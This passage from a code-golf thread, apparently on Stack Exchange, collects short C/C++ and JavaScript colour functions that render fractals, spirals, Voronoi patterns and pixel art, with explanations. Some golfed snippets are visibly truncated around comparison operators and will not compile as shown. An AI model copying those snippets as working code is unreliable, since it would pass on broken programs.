j){\n#define D(x) (x-DIM/2.)/(DIM/2.)\nfloat x=D(i),y=D(j),X,Y,n=0;while(n++<200&&(X=x*x)+(Y=y*y)<4){x=X-Y+.36237;y=2*x*y+.32;}return log(n)*256;}\nunsigned short green_fn(int i, int j){\nfloat x=D(i),y=D(j),X,Y,n=0;while(n++<200&&(x*x+y*y)<4){X=x;Y=y;x=X*X-Y*Y+-.7;y=2*X*Y+.27015;}return log(n)*128;}\nunsigned short blue_fn(int i, int j){\nfloat x=D(i),y=D(j),X,Y,n=0;while(n++<600&&(x*x+y*y)<4){X=x;Y=y;x=X*X-Y*Y+.36237;y=2*X*Y+.32;}return log(n)*128;}\n```\n# Would you like some RNG?\nOK, Sparr's comment put me on the track to randomize the parameters of these little Julias. I first tried to do bit-level hacking with the result of `time(0)` but C++ doesn't allow hexadecimal floating point litterals so this was a dead-end (with my limited knowledge at least). I could have used some heavy casting to achieve it, but that wouldn't have fit into the 140 bytes.\nI didn't have much room left anyway, so I had to drop the red Julia to put my macros and have a more conventional RNG (`time`d seed and real `rand()`, woohoo!).\n![enter image description here](https://i.stack.imgur.com/AgjFi.png)\nWhoops, something is missing. Obviously, these parameters have to be static or else you have some weird results (but funny, maybe I'll investigate a bit later if I find something interesting).\nSo here we are, with only green and blue channels:\n![enter image description here](https://i.stack.imgur.com/7YgFy.png)\n![enter image description here](https://i.stack.imgur.com/U1zez.png)\n![enter image description here](https://i.stack.imgur.com/omSaB.png)\nNow let's add a simple red pattern to fill the void. Not really imaginative, but I'm not a graphic programer ... yet :-)\n![enter image description here](https://i.stack.imgur.com/MkvMA.jpg)\n![enter image description here](https://i.stack.imgur.com/A9sIn.jpg)\nAnd finally the new code with random parameters:\n```\nunsigned short red_fn(int i, int j){\nstatic int n=1;if(n){--n;srand(time(0));}\n#define R rand()/16384.-1\n#define S static float r=R,k=R;float\nreturn _cb(i^j);}\nunsigned short green_fn(int i, int j){\n#define D(x) (x-DIM/2.)/(DIM/2.),\nS x=D(i)y=D(j)X,Y;int n=0;while(n++<200&&(X=x)*x+(Y=y)*y<4){x=X*X-Y*Y+r;y=2*X*Y+k;}return log(n)*512;}\nunsigned short blue_fn(int i, int j){\nS x=D(i)y=D(j)X,Y;int n=0;while(n++<200&&(X=x)*x+(Y=y)*y<4){x=X*X-Y*Y+r;y=2*X*Y+k;}return log(n)*512;}\n```\nThere's still room left now ...\n[Answer]\nThis one is interesting because it doesn't use the i, j parameters at all. Instead it remembers state in a static variable.\n```\nunsigned char RD(int i,int j){\n static double k;k+=rand()/1./RAND_MAX;int l=k;l%=512;return l>255?511-l:l;\n}\nunsigned char GR(int i,int j){\n static double k;k+=rand()/1./RAND_MAX;int l=k;l%=512;return l>255?511-l:l;\n}\nunsigned char BL(int i,int j){\n static double k;k+=rand()/1./RAND_MAX;int l=k;l%=512;return l>255?511-l:l;\n}\n```\n![colorful](https://i.stack.imgur.com/55zop.png)\n[Answer]\n![Image](https://i.stack.imgur.com/568Tf.png)\n```\n/* RED */\n int a=(j?i%j:i)*4;int b=i-32;int c=j-32;return _sq(abs(i-512))+_sq(abs(j-512))>_sq(384)?a:int(sqrt((b+c)/2))^_cb((b-c)*2);\n/* GREEN */\n int a=(j?i%j:i)*4;return _sq(abs(i-512))+_sq(abs(j-512))>_sq(384)?a:int(sqrt((i+j)/2))^_cb((i-j)*2);\n/* BLUE */\n int a=(j?i%j:i)*4;int b=i+32;int c=j+32;return _sq(abs(i-512))+_sq(abs(j-512))>_sq(384)?a:int(sqrt((b+c)/2))^_cb((b-c)*2);\n```\n[Answer]\n## Buddhabrot (+ Antibuddhabrot)\n**Edit:** It's a proper Buddhabrot now!\n**Edit:** I managed to cap the colour intensity within the byte limit, so there are no more falsely black pixels due to overflow.\nI really wanted to stop after four... but...\n![enter image description here](https://i.stack.imgur.com/eNqJu.jpg)\nThis gets slightly compressed during upload (and shrunk upon embedding) so if you want to admire all the detail, here is the interesting 512x512 cropped out (which doesn't get compressed and is displayed in its full size):\n![enter image description here](https://i.stack.imgur.com/ao30A.png)\nThanks to githubphagocyte for the idea. This required some rather complicated abuse of all three colour functions:\n```\nunsigned short RD(int i,int j){\n #define f(a,b)for(a=0;++a=0)return(p=c[i][j])>DM1?DM1:p;c[j+DIM][i/2+DIM]+=i%2*2+1;\n}\nunsigned short BL(int i,int j){\n D,a,k,p=0;if(i<0)f(k,5e5){R;x=a;if(x*x>4||y*y>4)break;GR(int((x-2)*256)*2-p,(y-2)*256);if(!p&&k==5e5-1){x=y=k=0;p=1;}}else{return GR(i,j);}\n}\n```\nThere are some bytes left for a better colour scheme, but so far I haven't found anything that beats the grey-scale image.\nThe code as given uses 4096x4096 starting points and does up to 500,000 iterations on each of them to determine if the trajectories escape or not. That took between 6 and 7 hours on my machine. You can get decent results with a 2k by 2k grid and 10k iterations, which takes two minutes, and even just a 1k by 1k grid with 1k iterations looks quite nice (that takes like 3 seconds). If you want to fiddle around with those parameters, there are a few places that need to change:\n* To change the Mandelbrot recursion depth, adjust both instances of `5e5` in `BL` to your iteration count.\n* To change the grid resolution, change all four `4096` in `RD` to your desired resolution and the `1024.` in `GR` by the same factor to maintain the correct scaling.\n* You will probably also need to scale the `return c[i][j]` in `GR` since that only contains the absolute number of visits of each pixel. The maximum colour seems to be mostly independent of the iteration count and scales linearly with the total number of starting points. So if you want to use a 1k by 1k grid, you might want to `return c[i][j]*16;` or similar, but that factor sometimes needs some fiddling.\nFor those not familiar with the Buddhabrot (like myself a couple of days ago), it's based on the Mandelbrot computation, but each pixel's intensity is how often that pixel was visited in the iterations of the escaping trajectories. If we're counting the visits during non-escaping trajectories, it's an Antibuddhabrot. There is an even more sophisticated version called Nebulabrot where you use a different recursion depth for each colour channel. But I'll leave that to someone else. For more information, as always, [Wikipedia](http://en.wikipedia.org/wiki/Buddhabrot).\nOriginally, I didn't distinguish between escaping and non-escaping trajectories. That generated a plot which is the union of a Buddhabrot and an Antibuddhabrot (as pointed out by githubphagocyte).\n```\nunsigned short RD(int i,int j){\n #define f(a)for(a=0;++a4)break;BL((x-.6)*512,(y-1)*512);}return BL(i,j);\n}\nunsigned short BL(int i,int j){\n static float c[DIM][DIM];if(i<0&&i>-DIM-1&&j<0&&j>-DIM-1)c[j+DIM][i+DIM]++;else if(i>0&&i0&&j2MB`), I bet that's way more than 50 shades of grey!\n## Second: have a better y coordinate\nI couldn't afford to have another table of coordinates randomly generated for the `y` axis, so I needed a simple way to get **\"** random **\"** ones in as few characters as possible. I went for using the `x` coordinate of another point in the table, by doing a bitwise `AND` on the index of the point.\n![enter image description here](https://i.stack.imgur.com/SWSow.png)\n## 3rd: I don't remember but it's getting nice\nBut at this time I was way over 140 chars, so I needed to golf it down quite a bit.\n![enter image description here](https://i.stack.imgur.com/FtUNH.png)\n## 4th: scanlines\nJust kidding, this is not wanted but kind of cool, methinks.\n![enter image description here](https://i.stack.imgur.com/AnSXs.png)\n![enter image description here](https://i.stack.imgur.com/IxHqh.png)\nStill working on reducing the size of the algorithm, I am proud to present:\n### StarFox edition\n![enter image description here](https://i.stack.imgur.com/Jmoz4.png)\n### Voronoi instagram\n![enter image description here](https://i.stack.imgur.com/2fSkP.jpg)\n## 5th: increase the number of points\nI have now a working piece of code, so let's go from 25 to 60 points.\n![enter image description here](https://i.stack.imgur.com/NlpsC.png)\nThat's hard to see from only one image, but the points are nearly all located in the same `y` range. Of course, I didn't change the bitwise operation, `&42` is much better:\n![enter image description here](https://i.stack.imgur.com/efACY.png)\nAnd here we are, at the same point as the very first image from this post. \nLet's now explain the code for the rare ones that would be interested.\n## Ungolfed and explained code\n```\nunsigned short red_fn(int i, int j)\n{\n int t[64], // table of 64 points's x coordinate\n k = 0, // used for loops\n l, // retains the index of the nearest point\n e, // for intermediary results\n d = 2e7; // d is the minimum distance to the (i,j) pixel encoutnered so far\n // it is initially set to 2e7=2'000'000 to be greater than the maximum distance 1024²\n srand(time(0)); // seed for random based on time of run\n // if the run overlaps two seconds, a split will be observed on the red diagram but that is\n // the better compromise I found\n while(k < 64) // for every point\n {\n t[k] = rand() % DIM; // assign it a random x coordinate in [0, 1023] range\n // this is done at each call unfortunately because static keyword and srand(...)\n // were mutually exclusive, lenght-wise\n if (\n (e= // assign the distance between pixel (i,j) and point of index k\n _sq(i - t[k]) // first part of the euclidian distance\n +\n _sq(j - t[42 & k++]) // second part, but this is the trick to have \"\" random \"\" y coordinates\n // instead of having another table to generate and look at, this uses the x coordinate of another point\n // 42 is 101010 in binary, which is a better pattern to apply a & on; it doesn't use all the table\n // I could have used 42^k to have a bijection k <-> 42^k but this creates a very visible pattern splitting the image at the diagonal\n // this also post-increments k for the while loop\n ) < d // chekcs if the distance we just calculated is lower than the minimal one we knew\n )\n // { // if that is the case\n d=e, // update the minimal distance\n l=k; // retain the index of the point for this distance\n // the comma ',' here is a trick to have multiple expressions in a single statement\n // and therefore avoiding the curly braces for the if\n // }\n }\n return t[l]; // finally, return the x coordinate of the nearest point\n // wait, what ? well, the different areas around points need to have a\n // \"\" random \"\" color too, and this does the trick without adding any variables\n}\n// The general idea is the same so I will only comment the differences from green_fn\nunsigned short green_fn(int i, int j)\n{\n static int t[64]; // we don't need to bother a srand() call, so we can have these points\n // static and generate their coordinates only once without adding too much characters\n // in C++, objects with static storage are initialized to 0\n // the table is therefore filled with 60 zeros\n // see http://stackoverflow.com/a/201116/1119972\n int k = 0, l, e, d = 2e7;\n while(k<64)\n {\n if( !t[k] ) // this checks if the value at index k is equal to 0 or not\n // the negation of 0 will cast to true, and any other number to false\n t[k] = rand() % DIM; // assign it a random x coordinate\n // the following is identical to red_fn\n if((e=_sq(i-t[k])+_sq(j-t[42&k++]))0?s:0;\n //BLUE\n float r,s=0,x=.5;for(int k=0;k++<50;)r=k%5==2||k%5==4?(2.*j)/DIM+2:(2.*i)/DIM+2,x*=r*(1-x),s+=log(fabs(r-r*2*x));return abs(s*x);\n```\nI also made a variation of the Mandelbrot set. It uses a map similar to the Mandelbrot set map. Say M(x,y) is the Mandelbrot map. Then M(sin(x),cos(y)) is the map I use, and instead of checking for escaping values I use x, and y since they are always bounded.\n```\n//RED\nfloat x=0,y=0;for(int k=0;k++<15;){float t=_sq(sin(x))-_sq(cos(y))+(i-512.)/512;y=2*sin(x)*cos(y)+(j-512.0)/512;x=t;}return 2.5*(x*x+y*y);\n//GREEN\nfloat x=0,y=0;for(int k=0;k++<15;){float t=_sq(sin(x))-_sq(cos(y))+(i-512.)/512;y=2*sin(x)*cos(y)+(j-512.0)/512;x=t;}return 15*fabs(x);\n//BLUE\nfloat x=0,y=0;for(int k=0;k++<15;){float t=_sq(sin(x))-_sq(cos(y))+(i-512.)/512;y=2*sin(x)*cos(y)+(j-512.0)/512;x=t;}return 15*fabs(y);\n```\n![enter image description here](https://i.stack.imgur.com/byvJz.jpg)\n**EDIT**\nAfter much pain I finally got around to creating a gif of the second image morphing. Here it is:\n![Party Time](https://i.stack.imgur.com/aQBpp.gif)\n[Answer]\nBecause unicorns.\n![Because unicorns](https://i.stack.imgur.com/6ANq3.png)\nI couldn't get the OPs version with `unsigned short` and colour values up to 1023 working, so until that is fixed, here is a version using `char` and maximum colour value of 255.\n```\nchar red_fn(int i,int j){\n return (char)(_sq(cos(atan2(j-512,i-512)/2))*255);\n}\nchar green_fn(int i,int j){\n return (char)(_sq(cos(atan2(j-512,i-512)/2-2*acos(-1)/3))*255);\n}\nchar blue_fn(int i,int j){\n return (char)(_sq(cos(atan2(j-512,i-512)/2+2*acos(-1)/3))*255);\n}\n```\n[Answer]\n## Logistic Hills\n![enter image description here](https://i.stack.imgur.com/wmfTl.png)\n## The functions\n```\nunsigned char RD(int i,int j){ \n #define A float a=0,b,k,r,x\n #define B int e,o\n #define C(x) x>255?255:x\n #define R return\n #define D DIM\n R BL(i,j)*(D-i)/D;\n}\nunsigned char GR(int i,int j){ \n #define E DM1\n #define F static float\n #define G for(\n #define H r=a*1.6/D+2.4;x=1.0001*b/D\n R BL(i,j)*(D-j/2)/D;\n}\nunsigned char BL(int i,int j){\n F c[D][D];if(i+j<1){A;B;G;aD/2){e=a;o=(E*x);c[e][o]+=0.01;}}}}}R C(c[j][i])*i/D;\n}\n```\n## Ungolfed\nAll of the #defines are to fit BL under 140 chars. Here is the ungolfed version of the blue algorithm, slightly modified:\n```\nfor(double a=0;aDIM/2){\n if(c[(int)a][(int)(DM1*x)]<255){\n c[(int)a][(int)(DM1*x)]+=0.01; // x makes a mark in c[][]\n } // In the golfed code, I just always add 0.01 here, and clip c to 255\n }\n } \n } \n}\n```\nWhere the values of x fall the most often for a given r (j value), the plot becomes lighter (usually depicted as darker).\n[Answer]\n# Diffusion Limited Aggregation\nI've always been fascinated by [diffusion limited aggregation](http://en.wikipedia.org/wiki/Diffusion-limited_aggregation) and the number of different ways it appears in the real world.\nI found it difficult to write this in just 140 characters per function so I've had to make the code horrible (or beautiful, if you like things like `++d%=4` and `for(n=1;n;n++)`). The three colour functions call each other and define macros for each other to use, so it doesn't read well, but each function is just under 140 characters.\n```\nunsigned char RD(int i,int j){\n#define D DIM\n#define M m[(x+D+(d==0)-(d==2))%D][(y+D+(d==1)-(d==3))%D]\n#define R rand()%D\n#define B m[x][y]\nreturn(i+j)?256-(BL(i,j))/2:0;}\nunsigned char GR(int i,int j){\n#define A static int m[D][D],e,x,y,d,c[4],f,n;if(i+j<1){for(d=D*D;d;d--){m[d%D][d/D]=d%6?0:rand()%2000?1:255;}for(n=1\nreturn RD(i,j);}\nunsigned char BL(int i,int j){A;n;n++){x=R;y=R;if(B==1){f=1;for(d=0;d<4;d++){c[d]=M;f=f2){B=f-1;}else{++e%=4;d=e;if(!c[e]){B=0;M=1;}}}}}return m[i][j];}\n```\n![diffusion limited aggregation](https://i.stack.imgur.com/44aOn.png \"diffusion limited aggregation\")\nTo visualise how the particles gradually aggregate, I produced snapshots at regular intervals. Each frame was produced by replacing the 1 in `for(n=1;n;n++)` with 0, -1<<29, -2<<29, -3<<29, 4<<29, 3<<29, 2<<29, 1<<29, 1. This kept it just under the 140 character limit for each run.\n![animated aggregation](https://i.stack.imgur.com/G7aH9.gif \"animated aggregation\")\nYou can see that aggregates growing close to each other deprive each other of particles and grow more slowly.\n---\nBy making a slight change to the code you can see the remaining particles that haven't become attached to the aggregates yet. This shows the denser regions where growth will happen more quickly and the very sparse regions between aggregates where no more growth can occur due to all the particles having been used up.\n```\nunsigned char RD(int i,int j){\n#define D DIM\n#define M m[(x+D+(d==0)-(d==2))%D][(y+D+(d==1)-(d==3))%D]\n#define R rand()%D\n#define B m[x][y]\nreturn(i+j)?256-BL(i,j):0;}\nunsigned char GR(int i,int j){\n#define A static int m[D][D],e,x,y,d,c[4],f,n;if(i+j<1){for(d=D*D;d;d--){m[d%D][d/D]=d%6?0:rand()%2000?1:255;}for(n=1\nreturn RD(i,j);}\nunsigned char BL(int i,int j){A;n;n++){x=R;y=R;if(B==1){f=1;for(d=0;d<4;d++){c[d]=M;f=f2){B=f-1;}else{++e%=4;d=e;if(!c[e]){B=0;M=1;}}}}}return m[i][j];}\n```\n![DLA with visible particles](https://i.stack.imgur.com/woEEk.png \"DLA with visible particles\")\nThis can be animated in the same way as before:\n![animated aggregation with particles](https://i.stack.imgur.com/54U8g.gif \"animated aggregation with particles\")\n[Answer]\n# Spiral (140 exactly)\n![final product](https://i.stack.imgur.com/Ii8jM.jpg)\nThis is 140 characters exactly if you don't include the function headers and brackets. It's as much spiral complexity I could fit in the character limit.\n```\nunsigned char RD(int i,int j){\n return DIM-BL(2*i,2*j);\n}\nunsigned char GR(int i,int j){\n return BL(j,i)+128;\n}\nunsigned char BL(int i,int j){\n i-=512;j-=512;int d=sqrt(i*i+j*j);return d+atan2(j,i)*82+sin(_cr(d*d))*32+sin(atan2(j,i)*10)*64;\n}\n```\nI gradually built on a simple spiral, adding patterns to the spiral edges and experimenting with how different spirals could be combined to look cool. Here is an ungolfed version with comments explaining what each piece does. Messing with parameters can produce some interesting results.\n```\nunsigned char RD(int i,int j){\n // *2 expand the spiral\n // DIM- reverse the gradient\n return DIM - BL(2*i, 2*j);\n}\nunsigned char GR(int i,int j){\n // notice swapped parameters\n // 128 changes phase of the spiral\n return BL(j,i)+128;\n}\nunsigned char BL(int i,int j){\n // center it\n i -= DIM / 2;\n j -= DIM / 2;\n double theta = atan2(j,i); //angle that point is from center\n double prc = theta / 3.14f / 2.0f; // percent around the circle\n int dist = sqrt(i*i + j*j); // distance from center\n // EDIT: if you change this to something like \"prc * n * 256\" where n\n // is an integer, the spirals will line up for any arbitrarily sized\n // DIM value, or if you make separate DIMX and DIMY values!\n int makeSpiral = prc * DIM / 2;\n // makes pattern on edge of the spiral\n int waves = sin(_cr(dist * dist)) * 32 + sin(theta * 10) * 64;\n return dist + makeSpiral + waves;\n}\n```\nMessing with parameters:\nHere, the spirals are lined up but have different edge patterns. Instead of the blocky edges in the main example, this has edges entirely comprised of sin waves.\n![edges](https://i.stack.imgur.com/65mDZ.jpg)\nHere, the gradient has been removed:\n![no gradient](https://i.stack.imgur.com/0TzSP.png)\nAn animation (which for some reason doesn't appear to be looping after I uploaded it, sorry. Also, I had to shrink it. Just open it in a new tab if you missed the animation):\n![animation](https://i.stack.imgur.com/f3AAU.gif)\nAnd, here's the [imgur album](https://i.stack.imgur.com/tph5o.jpg) with all images in it. I'd love to see if anyone can find other cool spiral patterns. Also, I must say, this is by far one of the coolest challenges on here I have ever seen. Enjoy!\nEDIT: Here are some [backgrounds](https://i.stack.imgur.com/8Uw23.jpg) made from these spirals with altered parameters.\nAlso, by combining my spiral edge patterns with some of the fractals I've seen on here through the use of xor/and/or operations, here is a final spiral:\n![fractal spiral](https://i.stack.imgur.com/BMuOA.jpg)\n[Answer]\n## Tribute to a classic\n*V1*: Inspired by DreamWarrior's \"Be happy\", this straightforward submission embeds a small pixel-art image in each colour channel. I didn't even have to golf the code! \n*V2*: now with considerably shorter code & a thick black border isolating only the \"game screen\". \n*V3*: spaceship, bullet, damaged aliens and blue border, oh my! Trying to aim for [this](http://upload.wikimedia.org/wikipedia/en/2/20/SpaceInvaders-Gameplay.gif), roughly.\n```\n// RED\n#define g(I,S,W,M)j/128%8==I&W>>(j/32%4*16+i/64)%M&S[abs(i/4%16-8)-(I%2&i%64<32)]>>j/4%8&1\nreturn g(1,\"_\\xB6\\\\\\x98\\0\\0\\0\",255L<<36,64)?j:0;\n// GREEN\n#define S g(6,\"\\xFF\\xFE\\xF8\\xF8\\xF8\\xF8\\xF0\\x0\",1L<<22,64)|i/4==104&j/24==30\nreturn g(2,\"<\\xBC\\xB6}\\30p\\0\\0\",4080,32)|S?j:0;\n// BLUE\nreturn g(3,\"_7\\xB6\\xFE\\x5E\\34\\0\",0x70000000FD0,64)|S|abs(i/4-128)==80&abs(j/4-128)<96|abs(j/4-128)==96&abs(i/4-128)<80?j:0;\n```\n![Space invaders](https://i.stack.imgur.com/3T1II.png)\n---\nI happened to stumble upon an edit by [Umber Ferrule](https://codegolf.stackexchange.com/users/3268/umber-ferrule) whose avatar inspired me to add another pixel-art-based entry. Since the core idea of the code is largely similar to the Space Invaders one, I'm appending it to this entry, though the two definitely had different challenging points. For this one, getting pink right (at the expense of white) and the fact that it's a rather big sprite proved nice challenges. The hexadecimal escapes (`\\xFF` etc) in the red channel represent their corresponding characters in the source file (that is, the red channel in the source file contains binary data), whereas the octal escapes are literal (i.e. present in the source file).\n```\n// RED\n#define g(S)(S[i/29%18*2+j/29/8%2]>>j/29%8&1)*DM1*(abs(i-512)<247&abs(j-464)<232)\nreturn g(\"\\xF3\\xF2\\xF2\\x10\\xF4\\0\\xF2\\x10\\xE1\\xE0\\x81\\0\\x80\\0\\x80\\0\\0\\0\\0\\0@\\0! \\x03d8,=\\x2C\\x99\\x84\\xC3\\x82\\xE1\\xE3\");\n// GREEN\nreturn g(\";\\376z\\34\\377\\374\\372\\30k\\360\\3\\200\\0\\0\\0\\0\\0\\0\\200\\0\\300\\0\\341 \\373d\\307\\354\\303\\374e\\374;\\376;\\377\")? DM1 : BL(i,j)? DM1/2 : 0;\n// BLUE\nreturn g(\"\\363\\360\\362\\20\\364\\0\\362\\20\\341\\340\\200\\0\\200\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\08\\0<\\0\\230\\0\\300\\0\\341\\340\") / 2;\n```\n![Bub (Bubble Bobble)](https://i.stack.imgur.com/uxmib.png)\n[Answer]\n# Action Painting\nI wanted to try recreating something similar to the work of [Jackson Pollock](http://en.wikipedia.org/wiki/Jackson_Pollock) - dripping and pouring paint over a horizontal canvas. Although I liked the results, the code was much too long to post to this question and my best efforts still only reduced it to about 600 bytes. So the code posted here (which has functions of 139 bytes, 140 bytes, and 140 bytes respectively) was produced with an enormous amount of help from some of the geniuses in [chat](http://chat.stackexchange.com/rooms/240/the-nineteenth-byte). Huge thanks to:\n* [Eric Tressler](https://codegolf.stackexchange.com/users/17484/eric-tressler)\n* [FireFly](https://codegolf.stackexchange.com/users/3918/firefly)\n* [PhiNotPi](https://codegolf.stackexchange.com/users/2867/phinotpi)\n* [Martin Büttner](https://codegolf.stackexchange.com/users/8478/martin-b%C3%BCttner)\nfor a relentless group golfing session.\n```\nunsigned char RD(int i,int j){\n#define E(q)return i+j?T-((T-BL(i,j))*q):T;\n#define T 255\n#define R .1*(rand()%11)\n#define M(v)(v>0&v1;x+=s*cos(a),y+=s*sin\nE(21)}\nunsigned char BL(int i,int j){static float m[S(a),d=rand()%39?d:-d,a+=d*R,s*=1+R/99,r*=.998)for(e=-r;e++1)d=1;return d*(sin(n*10)*511+512);\n}\nunsigned short GR(int i,int j){\n return 0;\n}\nunsigned short BL(int i,int j){\n double r=i/256.-2,s=j/256.-2,q=r*r+s*s;return RD(i,j)*sqrt(q/40);\n}\n```\n![enter image description here](https://i.stack.imgur.com/qPR9v.jpg)\n[Answer]\n**Edit:** This is now a valid answer, thanks to the forward declarations of `GR` and `BL`.\nHaving fun with Hofstadter's Q-sequence! If we're using the radial distance from some point as the input and the output as the inverse colour, we get something which looks like coloured vinyl.\n![enter image description here](https://i.stack.imgur.com/k5d8J.png)\nThe sequence is very similar to the Fibonacci sequence, but instead of going 1 and 2 steps back in the sequence, you take the two previous values to *determine* how far to go back before taking the sum. It grows roughly linear, but every now and then there's a burst of chaos (at increasing intervals) which then settles down to an almost linear sequence again before the next burst:\n![enter image description here](https://i.stack.imgur.com/NqP82.png)\nYou can see these ripples in the image after regions which look very \"flat\" in colour.\nOf course, using only one colour is boring.\n![enter image description here](https://i.stack.imgur.com/uCS81.png)\nNow for the code. I need the recursive function to compute the sequence. To do that I use `RD` whenever `j` is negative. Unfortunately, that does not leave enough characters to compute the red channel value itself, so `RD` in turn calls `GR` with an offset to produce the red channel.\n```\nunsigned short RD(int i,int j){\n static int h[1000];return j<0?h[i]?h[i]:h[i]=i<2?1:RD(i-RD(i-1,j),j)+RD(i-RD(i-2,j),j):GR(i+256,j+512);\n}\nunsigned short GR(int i,int j){\n return DIM-4*RD(sqrt((i-512)*(i-512)+(j-768)*(j-768))/2.9,-1);\n}\nunsigned short BL(int i,int j){\n return DIM-4*RD(sqrt((i-768)*(i-768)+(j-256)*(j-256))/2.9,-1);\n}\n```\nOf course, this is pretty much the simplest possible usage of the sequence, and there are loads of characters left. Feel free to borrow it and do other crazy things with it!\nHere is another version where the boundary and the colours are determined by the Q-sequence. In this case, there was enough room in `RD` so that I didn't even need the forward declaration:\n```\nunsigned short RD(int i,int j){\n static int h[1024];return j<0?h[i]?h[i]:h[i]=i<2?1:RD(i-RD(i-1,j),j)+RD(i-RD(i-2,j),j):RD(2*RD(i,-1)-i+512>1023-j?i:1023-i,-1)/0.6;\n}\nunsigned short GR(int i,int j){\n return RD(i, j);\n}\nunsigned short BL(int i,int j){\n return RD(i, j);\n}\n```\n![enter image description here](https://i.stack.imgur.com/hHIBa.png)\n[Answer]\n# Objective-C\nRewrote the C++ code in Objective-C cos I couldn't get it to compile... It gave the same results as other answer when running on my iPad, so that's all good.\nHere's my submission:\n![Triangles Galore](https://i.stack.imgur.com/qlkCf.png)\nThe code behind it is fairly simple:\n```\nunsigned short red_fn(int i,int j)\n{\n return j^j-i^i;\n}\nunsigned short green_fn(int i,int j)\n{\n return (i-DIM)^2+(j-DIM)^2;\n}\nunsigned short blue_fn(int i,int j)\n{\n return i^i-j^j;\n}\n```\nYou can zoom in on squares by multiplying `i` and `j` by `0.5`, `0.25` etc. before they are processed.\n[Answer]\n# Sierpinski Paint Splash\nI wanted to play more with colors so I kept changing my other answer (the swirly one) and eventually ended up with this.\n![Sierpinski Paint Splash](https://i.stack.imgur.com/xAofW.png)\n```\nunsigned short RD(int i,int j){\n return(sqrt(_sq(abs(73.-i))+_sq(abs(609.-j)))+1.)/abs(sin((sqrt(_sq(abs(860.-i))+_sq(abs(162.-j))))/115.)+2)/(115^i&j);\n}\nunsigned short GR(int i,int j){\n return(sqrt(_sq(abs(160.-i))+_sq(abs(60.-j)))+1.)/abs(sin((sqrt(_sq(abs(73.-i))+_sq(abs(609.-j))))/115.)+2)/(115^i&j);\n}\nunsigned short BL(int i,int j){\n return(sqrt(_sq(abs(600.-i))+_sq(abs(259.-j)))+1.)/abs(sin((sqrt(_sq(abs(250.-i))+_sq(abs(20.-j))))/115.)+2)/(115^i&j);\n}\n```\nIt's my avatar now. :P\n[Answer]\n# groovy\n![groovy.png](https://i.stack.imgur.com/hKbKu.png)\nJust some trigonometry and weird macro tricks.\nRD:\n```\n#define I (i-512)\n#define J (j-512)\n#define A (sin((i+j)/64.)*cos((i-j)/64.))\nreturn atan2(I*cos A-J*sin A,I*sin A+J*cos A)/M_PI*1024+1024;\n```\nGR:\n```\n#undef A\n#define A (M_PI/3+sin((i+j)/64.)*cos((i-j)/64.))\nreturn atan2(I*cos A-J*sin A,I*sin A+J*cos A)/M_PI*1024+1024;\n```\nBL:\n```\n#undef A\n#define A (2*M_PI/3+sin((i+j)/64.)*cos((i-j)/64.))\nreturn atan2(I*cos A-J*sin A,I*sin A+J*cos A)/M_PI*1024+1024;\n```\nEDIT: if `M_PI` isn't allowed due to only being present on POSIX-compatible systems, it can be replaced with the literal `3.14`.\n[Answer]\nI feel compelled to submit this entry that I will call \"undefined behavior\", which will illustrate what your compiler does with functions that are supposed to return a value but don't:\n```\nunsigned short red_fn(int i,int j){}\nunsigned short green_fn(int i,int j){}\nunsigned short blue_fn(int i,int j){}\n```\nAll black pixels:\n![all black pixels](https://i.stack.imgur.com/Atu6Z.png)\nPseudo-random pixels:\n![pseudo-random pixels](https://i.stack.imgur.com/bbHmK.jpg)\nAnd, of course, a host of other possible results depending on your compiler, computer, memory manager, etc.\n[Answer]\nI'm not good at math. I was always poor student at math class. So I made simple one.\n![mathpic1.png](https://i.stack.imgur.com/hbvIy.png)\nI used modified [user1455003's Javascript code](https://codegolf.stackexchange.com/a/35595/19759). And [this is my full code](http://bl.ocks.org/Snack-X/906e6d962c93293e2771).\n```\nfunction red(x, y) {\n return (x + y) & y;\n}\nfunction green(x, y) {\n return (255 + x - y) & x;\n}\nfunction blue(x, y) {\n // looks like blue channel is useless\n return Math.pow(x, y) & y;\n}\n```\nIt's very short so all three functions fits in one tweet.\n---\n![mathpic2.png](https://i.stack.imgur.com/iVcoa.png)\n```\nfunction red(x, y) {\n return Math.cos(x & y) << 16;\n}\nfunction green(x, y) {\n return red(DIM - x, DIM - y);\n}\nfunction blue(x, y) {\n return Math.tan(x ^ y) << 8;\n}\n```\nAnother very short functions. I found this sierpinski pattern (and some tangent pattern) while messing around with various math functions. [This is full code](http://bl.ocks.org/Snack-X/4b9b286e9c276b11d7dc)\n[Answer]\n# Planetary Painter\n```\n//red\nstatic int r[DIM];int p=rand()%9-4;r[i]=i&r[i]?(r[i]+r[i-1])/2:i?r[i-1]:512;r[i]+=r[i]+p>0?p:0;return r[i]?r[i]0?p:0;return r[i]?r[i]0?p:0;return r[i]?r[i]> 2;\n data[i++] = green(x, y) >> 2;\n data[i++] = blue(x, y) >> 2;\n data[i++] = 255;\n if (++x === 1024) x=0, y++;\n}\nctx.putImageData(imageData,0,0);\nfunction red(x,y){\nif(x>600||y>560) return 1024\nx+=35,y+=41\nreturn y%124<20&&x%108<20?1024:(y+62)%124<20&&(x+54)%108<20?1024:0\n}\nfunction green(x,y){\nif(x>600||y>560) return y%160<80?0:1024\nx+=35,y+=41\nreturn y%124<20&&x%108<20?1024:(y+62)%124<20&&(x+54)%108<20?1024:0\n}\nfunction blue(x,y) {\nreturn ((x>600||y>560)&&y%160<80)?0:1024;\n}\n```\n![usa](https://i.stack.imgur.com/csXrZ.png)\nAnother version. function bodies are tweetable.\n```\nfunction red(x,y){\nc=x*y%1024\nif(x>600||y>560) return c\nx+=35,y+=41\nreturn y%124<20&&x%108<20?c:(y+62)%124<20&&(x+54)%108<20?c:0\n}\nfunction green(x,y){\nc=x*y%1024\nif(x>600||y>560) return y%160<80?0:c\nx+=35,y+=41\nreturn y%124<20&&x%108<20?c:(y+62)%124<20&&(x+54)%108<20?c:0\n}\nfunction blue(x,y) {\nreturn ((x>600||y>560)&&y%160<80)?0:x*y%1024;\n}\n```\n![enter image description here](https://i.stack.imgur.com/tnWuI.png)\nRevised image render function. draw(rgbFunctions, setCloseEvent);\n```\nfunction draw(F,e){\n var D=document\n var c,id,d,x,y,i,L,s=1024,b=D.getElementsByTagName('body')[0]\n c=D.createElement('canvas').getContext('2d')\n if(e)c.canvas.onclick=function(){b.removeChild(c.canvas)}\n b.appendChild(c.canvas)\n c.canvas.width=c.canvas.height=s\n G=c.getImageData(0,0,s,s)\n d=G.data\n x=y=i=0;\n for (L=d.length;i>2\n d[i++]=F.g(x,y)>>2\n 